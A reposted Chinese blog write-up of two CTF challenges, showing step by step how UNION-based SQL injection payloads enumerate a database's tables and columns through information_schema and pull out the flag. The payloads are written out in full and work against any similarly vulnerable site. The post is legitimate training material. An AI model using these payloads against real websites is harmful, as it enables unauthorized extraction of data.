union注入的幾道ctf題,實驗吧簡單的sql注入1,2,這個看起來有點簡單和bugku的成績單


   這幾天在做CTF當中遇到了幾次sql注入都是union,寫篇博客記錄學習一下。

   首先推薦一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/83869918”

   再附上一張文章里面的圖

 

 接下來直接上題

1.這個看起來有點簡單

 題目連接:http://ctf5.shiyanbar.com/8/index.php?id=1

 

 首先一進去看着那個表,和url里面的id=1,就感覺應該是SQL注入的題。

老樣子,先把id=1,改成id=2,和id=3發現可以返回不同的數據。

然后 加個引號和注釋號  id=1‘#,發現報錯,由此確定是sql注入,並且應該是數字注入,不用閉合。

然后先確定列數,看圖感覺是兩列,再網址后輸  id=1 order by2 ,返回正確,id=1 order by 3返回錯誤, 從而判斷是兩列。

好,接下來用union搞一搞,輸入   id=-1 union select 1,2#  得到以下畫面

 

 這還能說啥,直接一波爆庫名,爆表名,爆段名再說,

 -1 union select -1,database()#

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

  答案字段應該是再thiskey里     

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='thiskey' #

得到字段名 k0y

然后 -1 union select 1,k0y from thiskey#

拿到flag,  這道題也可以用sqlmap跑出來。

 

2.bugku成績單

題目鏈接    http://123.206.87.240:8002/chengjidan/index.php

 

 和上一道題很相似,所以依然按照步驟來就好,不過這里需要注意一下,當輸入 1的時候,返回的是龍龍的成績單,當加一個引號,不返回結果,然后再輸入1‘# 則返回龍龍的成績,很明顯,這里需要閉合,是字符型的注入。

確定列數

     1’ order by 5#返回錯誤, 1‘ order by 4 返回龍龍的成績單,說明有 4列 。但是表格只有三列,所以先用 union select 1,2,3,4 來搞一下事情 ,輸入-1' union select 1,2,3,4#   這里說一下為什么前面要用-1,這道題只會顯示一行,如果用1的話,會顯示龍龍的成績,這里只會顯示一行,所以要讓第一行不顯示,直接用-1。

 

發現第一列被隱藏了,所以后面要輸入數據應該再二三四列顯示。

 

ok 都到這一步了,接下來就直接爆庫名這些了。。。

 

-1’ union select 1,database(),3,4#

 

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

出現表名   fl4g    

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),3,4#

  得到 字段名 skctf_flag    

   接下來      -1' union select 1,(select skctf_flag from fl4g),3,4#

 

 拿到答案,當然這道題也可以用sqlmap跑出來,只不過這里是post傳數據,要用bp和sqlmap一起結合而已。

 

 還有兩道題再下一篇博客寫。。。。。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM